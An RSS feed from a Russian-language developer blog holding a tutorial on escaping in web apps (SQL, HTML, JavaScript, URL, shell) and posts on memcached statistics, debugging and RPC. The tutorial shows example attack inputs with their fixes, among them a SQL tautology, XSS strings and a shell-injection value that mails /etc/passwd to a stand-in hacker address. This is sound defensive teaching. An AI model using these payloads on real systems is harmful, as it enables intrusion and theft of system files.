<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Andrey Smirnov's Blog (web)</title><link>http://www.smira.ru/</link><description></description><language>en</language><lastBuildDate>Sun, 11 Jan 2015 19:24:26 GMT</lastBuildDate><generator>http://getnikola.com/</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Не забудь сделать escape!</title><link>http://www.smira.ru/en/posts/20101031dont-forget-about-escaping.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей:
никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая
поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и
забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать,
что такое escaping, зачем он нужен, когда и какой.&lt;/p&gt;
&lt;p&gt;Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к &lt;em&gt;ошибкам&lt;/em&gt; и &lt;em&gt;уязвимостям&lt;/em&gt;
(проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных
внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая
впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче
особым образом подготовленных данных удается совершить действие, которое не должно было произойти.&lt;/p&gt;
&lt;div class="section" id="sql"&gt;
&lt;h2&gt;SQL&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/SQL_Injection"&gt;SQL Injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Пример кода (авторизация по логину и паролю):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nx"&gt;runQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT id FROM users WHERE login='&lt;/span&gt;&lt;span class="si"&gt;$login&lt;/span&gt;&lt;span class="s2"&gt;' AND password='&lt;/span&gt;&lt;span class="si"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если значения переменных &lt;tt class="docutils literal"&gt;$login&lt;/tt&gt; и &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; получены от пользователя (например, через форму авторизации),
можно в поле &lt;tt class="docutils literal"&gt;password&lt;/tt&gt; ввести значение вида: &lt;tt class="docutils literal"&gt;' OR '' = '&lt;/tt&gt;, тогда после подстановки получится такой запрос:&lt;/p&gt;
&lt;pre class="code sql literal-block"&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'login'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Условие &lt;tt class="docutils literal"&gt;WHERE&lt;/tt&gt; всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое
поведение приведет к возможности авторизации, не зная пароля.&lt;/p&gt;
&lt;p&gt;Проблема состоит в том, что при прямой подстановке значения переменной &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; мы смогли изменить смысл исходного запроса.&lt;/p&gt;
&lt;p&gt;Что делать (в порядке от плохого к хорошему):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов
может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к
потенциальной уязвимости); например, для PHP/MySQL: &lt;a class="reference external" href="http://ru.php.net/mysql_real_escape_string"&gt;mysql_real_escape_string&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а
передается отдельно как значение соответствующего типа; пример для PHP/PDO:
&lt;a class="reference external" href="http://ru2.php.net/manual/en/pdostatement.bindvalue.php"&gt;PDOStatement-&amp;gt;bindValue&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать &lt;a class="reference external" href="http://ru.wikipedia.org/wiki/ORM"&gt;ORM&lt;/a&gt;, которая спрячет процесс построения запросов,
например для Rails: &lt;tt class="docutils literal"&gt;User.find_by_login_and_password(login, password)&lt;/tt&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то,
что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно
разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению.
Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но
escaping происходит на уровне, уже непосредственно взаимодействующем с БД.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="html"&gt;
&lt;h2&gt;HTML&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;, &lt;a class="reference external" href="http://ha.ckers.org/xss.html"&gt;типичные exploitы&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&amp;amp;"'&lt;/tt&gt;. Проблема возникает, когда в текст
(между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.&lt;/p&gt;
&lt;p&gt;Пример (PHP):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если в качестве &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;$user-&amp;gt;nickname&lt;/span&gt;&lt;/tt&gt; пользователь введет:&lt;/p&gt;
&lt;pre class="code html literal-block"&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hi!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".&lt;/p&gt;
&lt;p&gt;Должно быть так (&lt;a class="reference external" href="http://ru.php.net/htmlspecialchars"&gt;htmlspecialchars&lt;/a&gt; осуществляет замены вида &lt;tt class="docutils literal"&gt;"&amp;gt;"&lt;/tt&gt; -&amp;gt; &lt;tt class="docutils literal"&gt;"&amp;amp;gt;"&lt;/tt&gt; и т.п.):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают
по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -&amp;gt; БД -&amp;gt; вывод на страницу
в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД
могут использоваться и для вывода в другие форматы (например, PDF).&lt;/p&gt;
&lt;p&gt;Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;/span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Должно быть так:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Фукнция &lt;tt class="docutils literal"&gt;text&lt;/tt&gt; в отличие от &lt;tt class="docutils literal"&gt;update&lt;/tt&gt; изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.&lt;/p&gt;
&lt;p&gt;Как избежать подобных проблем:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон,
т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).&lt;/li&gt;
&lt;li&gt;При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных
элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="javascript"&gt;
&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу.
Для этого чаще всего генерируется в шаблоне такой JavaScript-код:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;script type="text/javascript"&amp;gt;
  var user = '&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;';
&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Теперь представим, что будет, если я в качестве &lt;tt class="docutils literal"&gt;$username&lt;/tt&gt; напишу &lt;tt class="docutils literal"&gt;'+alert(document.cookies) + '&lt;/tt&gt;. Нехорошо получается? Ответ
простой - сегодня все языки программирования поддерживают возможность преобразования данных в &lt;a class="reference external" href="http://json.org/"&gt;JSON&lt;/a&gt;. А это
как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные
данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:&lt;/p&gt;
&lt;pre class="code haml literal-block"&gt;
&lt;span class="nd"&gt;:javascript
&lt;/span&gt;  &lt;span class="nd"&gt;var user = &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_json&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="nd"&gt;;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;(Кавычки вокруг строки уже указывать не нужно).&lt;/p&gt;
&lt;p&gt;Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="url"&gt;
&lt;h2&gt;URL&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="http://ru.wikipedia.org/wiki/URL"&gt;URL&lt;/a&gt; - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется
множество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;?&amp;amp;=/&lt;/span&gt;&lt;/tt&gt;. Чаще всего проблема возникает при построении URL динамически, а
при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить
URL страницы поиска для ссылки с тега какого-то объекта:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="s2"&gt;"http://example.com/search/?q="&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить
еще один параметр через &lt;tt class="docutils literal"&gt;&amp;amp;val=xxx&lt;/tt&gt; в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов
может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).&lt;/p&gt;
&lt;p&gt;Как избежать: используйте &lt;tt class="docutils literal"&gt;urlencode&lt;/tt&gt;-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок",
которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п.
Пример - &lt;a class="reference external" href="http://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to"&gt;link_to&lt;/a&gt; в Rails.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="shell"&gt;
&lt;h2&gt;Shell&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: получение shell-доступа к удаленному серверу.&lt;/p&gt;
&lt;p&gt;При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и,
например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда
&lt;tt class="docutils literal"&gt;system&lt;/tt&gt; или ее различные варианты:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image '&lt;/span&gt;&lt;span class="si"&gt;$image&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В данный код в качестве значения переменной &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; можно передать, например, следующее:&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="s"&gt;'; (cat /etc/passwd | mail cool@hacker.org); echo '&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В чем здесь проблема?&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Функция &lt;tt class="docutils literal"&gt;system&lt;/tt&gt; и ей подобные запускают командный интерпретатор (например,  bash), возможности которого гораздо больше, чем требуется нам.&lt;/li&gt;
&lt;li&gt;Мы не выполняем корректный escaping параметров, чтобы &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; оказался в точности одним параметром командной строки.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Как избежать:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell:
они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.&lt;/li&gt;
&lt;li&gt;Использовать функцию &lt;tt class="docutils literal"&gt;escapeshellarg&lt;/tt&gt; и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image "&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$image&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;</description><guid>http://www.smira.ru/en/posts/20101031dont-forget-about-escaping.html</guid><pubDate>Sun, 31 Oct 2010 19:41:24 GMT</pubDate></item><item><title>Memcached: статистика, отладка и RPC</title><link>http://www.smira.ru/en/posts/20081031web-caching-memcached-6.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Серия постов про "Web, кэширование и memcached" продолжается. Начало здесь: &lt;a href="http://www.smira.ru/2008/10/16/web-caching-memcached-1/"&gt;1&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/21/web-caching-memcached-2/"&gt;2&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/24/web-caching-memcached-3/"&gt;3&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/28/web-caching-memcached-4/"&gt;4&lt;/a&gt; и &lt;a href="http://www.smira.ru/2008/10/29/web-caching-memcached-5/"&gt;5&lt;/a&gt;.
В этих постах мы поговорили о memcached, его архитектуре, возможном применении, выборе ключа кэширования, кластеризации, атомарных операциях и реализации счетчиков в &lt;a href="http://danga.com/memcached/"&gt;memcached&lt;/a&gt;, а также о проблеме одновременного перестроения кэшей и тэгировании кэшей.&lt;/p&gt;
&lt;p&gt;Сегодняшний пост завершает эту серию, в нём обзорно мы поговорим о технических "мелочах":&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;анализ статистики memcached;&lt;/li&gt;
&lt;li&gt;отладка memcached;&lt;/li&gt;
&lt;li&gt;"RPC" с помощью memcached.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/bugslifewallpaper800-300x225.jpg" alt="" title="Поиск багов" width="300" height="225" class="alignnone size-medium wp-image-188"&gt;&lt;/p&gt;
&lt;p&gt;Полный текст всех разделов в виде одной большой PDF-ки можно скачать и посмотреть &lt;a href="http://www.smira.ru/2008/10/08/highload-plus-plus-2008/"&gt;здесь&lt;/a&gt; (в разделе "Материалы").&lt;/p&gt;
&lt;!--more--&gt;

&lt;h3&gt;Статистика работы memcached&lt;/h3&gt;
&lt;p&gt;Кроме необходимости реализовать механизмы работы с memcached, необходимо постоянно заниматься мониторингом кластера memcached-серверов, чтобы быть уверенным, что мы достигли оптимальной производительности. Memcached предоставляет набор команд для получения информации о его работе.&lt;/p&gt;
&lt;p&gt;Самая простая команда, &lt;code&gt;stats&lt;/code&gt;, позволяет получить элементарную статистику: время работы сервера (uptime), объем используемой памяти, количество get запросов и  количество хитов (hits), т.е. попаданий в кэш. Их соотношение позволяет нам судить об эффективности кэширования в целом, хотя необходимо учитывать, что в memcached ключами являются не только закэшированные выборки, но и счетчики, блокировки, тэги и т.п., так что для вычисления чистой эффективности кэширования это значение требует корректировки. Из общей статистики мы также можем узнать, сколько ключей было удалено раньше истечения срока жизни (evictions), данный параметр может сигнализировать о недостаточности объема памяти memcached.&lt;/p&gt;
&lt;h3&gt;Slab-аллокатор&lt;/h3&gt;
&lt;p&gt;Для распределения памяти под значения ключей memcached использует вариант &lt;a href="http://en.wikipedia.org/wiki/Slab_allocation"&gt;slab-аллокатора&lt;/a&gt;. Данный тип аллокатора стремится сократить внутреннюю фрагментацию при выделении памяти, а также обеспечивают хорошую эффективность операций выделения памяти.&lt;/p&gt;
&lt;p&gt;Механизм его работы заключается в том, что вся доступная memcached память делится на slab’ы (блоки), каждый из которых будет хранить элементы определенного размера. Например, slab для хранения объектов размером 256 байт, при этом сам slab имеет размер 1 Мб, таким образом он может сохранить 4096 таких объектов. Память внутри такого slab’а выделяется только по 256 байт. Если у нас есть slab’ы для объектов размером 64, 128, 256, 1024 и 2048 байт, то максимальный размер объекта, который мы можем сохранить – 2048 байт (в последнем slabе). Если мы хотим сохранить объект размером 65 байт, под него будет выделена память в slab’е-128, 1 байт – в slab’е 64.&lt;/p&gt;
&lt;p&gt;Чтобы добиться эффективного использования памяти memcached для хранения наших ключей и значений, мы должны быть уверены в правильном выборе размеров slab’ов, который выделил memcached, а также в их разумном наполнении. Для этого мы можем попросить memcached предоставить статистику по slab’ам, которую можно, например, визуализировать в виде такого графика:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/slabs.png" alt="Статистика slabов memcached" title="Статистика slabов" width="599" height="214" class="alignnone size-full wp-image-183"&gt;&lt;/p&gt;
&lt;p&gt;Здесь на горизонтальной оси отложены размеры slab’ов, а на вертикальной – объем памяти, используемый slab’ами данного размера. В данный момент вся память memcached занята ключами и их значениями, поэтому данный график представляет собой текущее распределение значений в памяти сервера. Легко видеть, что больше всего slab’ов выделено под ключи с относительно небольшими значениями – до 20 Кб, для больших по размеру ключей slab’ов гораздо меньше. Такое распределение адекватно нашей задаче: у нас больше всего именно маленьких ключей (счетчики, блокировки, небольшие кэши). При этом эти же ключи занимают и бóльшую часть памяти, с локальными пиками выделения под ключи размером 300 байт, 8 Кб. Если график отличается от того, который ожидается по логике задачи, это повод для беспокойства.&lt;/p&gt;
&lt;h3&gt;Отладка проектов, использующих memcached&lt;/h3&gt;
&lt;p&gt;Мы написали большую подсистему для работы с memcached, реализовали различные механизмы решения проблем, связанных с высокой нагрузкой. Как проверить, что всё действительно работает так, как нам бы этого хотелось? Высокую нагрузку, сетевые задержки и т.п. практически невозможно воспроизвести в локальном окружении, непросто это сделать и в тестовом окружении. На серверах в production нам доступны лишь те механизмы отладки, которые не затрагивают нормальное функционирование самого приложения. Способ отладки не должен вносить ощутимых временных задержек, иначе он изменит поведение приложения, и отладка станет бессмысленной.&lt;/p&gt;
&lt;p&gt;Можно предложить следующий «трюк», который может помочь в данной ситуации: для каждого кэша (ключа в memcached) или для группы кэшей (ключей) мы заводим отдельный файл в локальной файловой системе. В этот файл в режиме append мы дописываем по одному символу в ответ на каждое логическое действие, которое произошло с кэшом. Для просмотра в реальном времени поведения кэширующей подсистемы достаточно сделать tail –f на этот файл:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;MLWUHHHHHHHHHHHHHHHMLLHHHHHHHHHH&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Пусть буквы имеют следующий смысл:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;M&lt;/code&gt; – кэш устарел (или не найден);&lt;/li&gt;
&lt;li&gt;&lt;code&gt;L&lt;/code&gt; – попытка заблокироваться;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;W&lt;/code&gt; – запись (и построение) нового кэша;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;U&lt;/code&gt; – удаление блокировки;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;H&lt;/code&gt; – успешный запрос кэша.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Тогда по приведенной последовательности можно рассказать то, что происходило с данным кэшом: вначале он отсутствовал, мы кэш не обнаружили (&lt;code&gt;M&lt;/code&gt;), попытались заблокироваться (&lt;code&gt;L&lt;/code&gt;) для его построения, заблокировались, построили кэш (&lt;code&gt;W&lt;/code&gt;), сняли блокировку (&lt;code&gt;U&lt;/code&gt;), затем какое-то время кэш успешно работал, отдавая закэшированные данные (&lt;code&gt;H&lt;/code&gt;). Потом в какой-то момент кэш устарел или был сброшен (&lt;code&gt;M&lt;/code&gt;), мы попытались заблокироваться, не получилось (&lt;code&gt;L&lt;/code&gt;), попытались еще раз (&lt;code&gt;L&lt;/code&gt;), блокировка оказалась снята, кто-то другой построил новый кэш, мы его прочитали (&lt;code&gt;H&lt;/code&gt;) и дальше им пользовались.&lt;/p&gt;
&lt;h3&gt;Межпроцессное взаимодействие с помощью memcached&lt;/h3&gt;
&lt;p&gt;Сложный проект состоит из отдельных компонент, сервисов, которые должны взаимодействовать друг с другом, используя механизмы RPC, вызовы API, обмениваясь информацией через БД или каким-то еще способом. Иногда для такого обмена информацией можно использовать и memcached.&lt;/p&gt;
&lt;p&gt;В качестве примера рассмотрим сервис пользовательских вещаний: существует какое-то количество вещаний, в каждом из которых в данный момент времени находится некоторое количество зрителей. Популярность вещания определяется количеством зрителей. Актуальной информацией о количестве зрителей обладает только сервер вещаний, а список вещаний на странице вещаний формирует frontend. Конечно, можно было бы сделать так, чтобы сервер вещаний периодически сбрасывал в БД или через API в frontend информацию о количестве зрителей, или frontend мог бы через API сервера вещаний получать актуальную информацию. Однако количество зрителей – очень быстро меняющаяся характеристика, и в данной ситуации можно просто из сервера вещаний периодически (раз в несколько секунд) сохранять в memcached информацию о количестве зрителей в каждом из вещаний, а frontend, обращаясь к memcached, может получить информацию в любой удобный момент. Таким может быть межпроцессное взаимодействие, реализованное с помощью memcached.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;</description><guid>http://www.smira.ru/en/posts/20081031web-caching-memcached-6.html</guid><pubDate>Fri, 31 Oct 2008 11:18:41 GMT</pubDate></item><item><title>Сброс группы кэшей и тэгирование в memcached</title><link>http://www.smira.ru/en/posts/20081029web-caching-memcached-5.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Серия постов про "Web, кэширование и memcached" продолжается. Начало здесь: &lt;a href="http://www.smira.ru/2008/10/16/web-caching-memcached-1/"&gt;1&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/21/web-caching-memcached-2/"&gt;2&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/24/web-caching-memcached-3/"&gt;3&lt;/a&gt; и &lt;a href="http://www.smira.ru/2008/10/28/web-caching-memcached-4/"&gt;4&lt;/a&gt;.
В этих постах мы поговорили о memcached, его архитектуре, возможном применении, выборе ключа кэширования, кластеризации, атомарных операциях и реализации счетчиков в &lt;a href="http://danga.com/memcached/"&gt;memcached&lt;/a&gt;, а также о проблеме одновременного перестроения кэшей.&lt;/p&gt;
&lt;p&gt;Сегодня мы поговорим о тэгировании кэшей и о возможности сброса сразу группы кэшей в memcached.&lt;/p&gt;
